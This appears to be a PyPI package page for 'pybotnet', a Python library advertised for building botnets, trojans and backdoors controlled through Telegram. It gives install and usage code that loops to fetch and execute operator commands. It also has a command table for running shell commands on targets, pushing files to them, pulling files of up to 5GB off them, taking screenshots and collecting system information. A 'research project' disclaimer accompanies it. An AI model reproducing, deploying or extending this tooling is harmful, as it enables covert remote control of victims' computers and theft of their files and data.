A Python module for building botnet ,backdoor or trojan with Telegram control panel
Project description
pybotnet
A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel
Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.
See the TODO List if you want to help me 💕 \
Persian document داکیومنت فارسی
Features:
- Telegram anti-filter control panel
- get command from telegram and execute scripts
- get command and send message by third party proxy
- get target info
- sleep source by Optional message
- get ls (dirctory list)
- export file to targets system
- import file from target system
- get screenshot
for more, see commands table end of this page
Requirements:
- Python 3.6 or higher
- Telegram account
Usage:
pip install pybotnet
from pybotnet import pybotnet
import time
# change TELEGRAM_TOKEN and ADMIN_CHAT_ID to valid data:
# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'
# * is_sheel: if you compile code without shell: is_sheel=False
# * show_log: just for debugging
# * send_system_data: send system short info in every bot messages in telegram
bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
show_log=True, send_system_data=True, is_shell=True)
delay = 10
while True:
print('*-*'*15)
bot.get_and_execute_scripts_by_third_party_proxy()
time.sleep(delay)
Commmands:
Send this COMMANDs to your api bot in telegram, using the admin account.
for run command on one target:
<Target_MAC_Address> <command>
66619484755211 get_info
COMMAND | Sample | DO THIS | version | tested on |
---|---|---|---|---|
get_info |
get_info |
return system info | 0.06 | windows, linux |
do_sleep <scconds> <message (Optional)> |
do_sleep 99999 hi, i see you! |
<if message != none : print(message) > ; time.sleep(seccond) | 0.08 | windows, linux |
cmd <system command> |
cmd mkdir new_folder |
run system command in shell or cmd (Be careful not to give endless command like ping google.com -t in windows or ping google.com in linux) TODO:add timeout |
0.07 | windows, linux |
ls <route> |
ls C:\ , ls /home |
Returns a list of folders and files in that path | 0.09 | windows, linux |
export_file <link> |
export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip |
target donwload this file and save to script path route | 0.14 | windows linux |
import_file <file_route> |
import_file /home/onionj/folder/somting.png |
get a file from target system (limit:5GB) | 0.17.0 | windows, linux |
screenshot |
screenshot |
Takes a screenshot, uploads it to the online server and return the download link | 0.18.1 | windows, linux |
help |
help |
send commands help | 0.18.5 | windows, linux |
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
pybotnet-0.18.6.tar.gz
(25.8 kB
view hashes)
Built Distribution
pybotnet-0.18.6-py3-none-any.whl
(24.2 kB
view hashes)
Close
Hashes for pybotnet-0.18.6-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | 5e1ca3d83eee8b64075b10a11381b16fdd7b0d64234aa2aefb638aa798340ef3 |
|
MD5 | 19907b54d2ae6950b1aec1bd7e600424 |
|
BLAKE2b-256 | c64208a5c09ba593beab1fccf012c5836e84f0ea7ec9610abf83dc1583ed3b26 |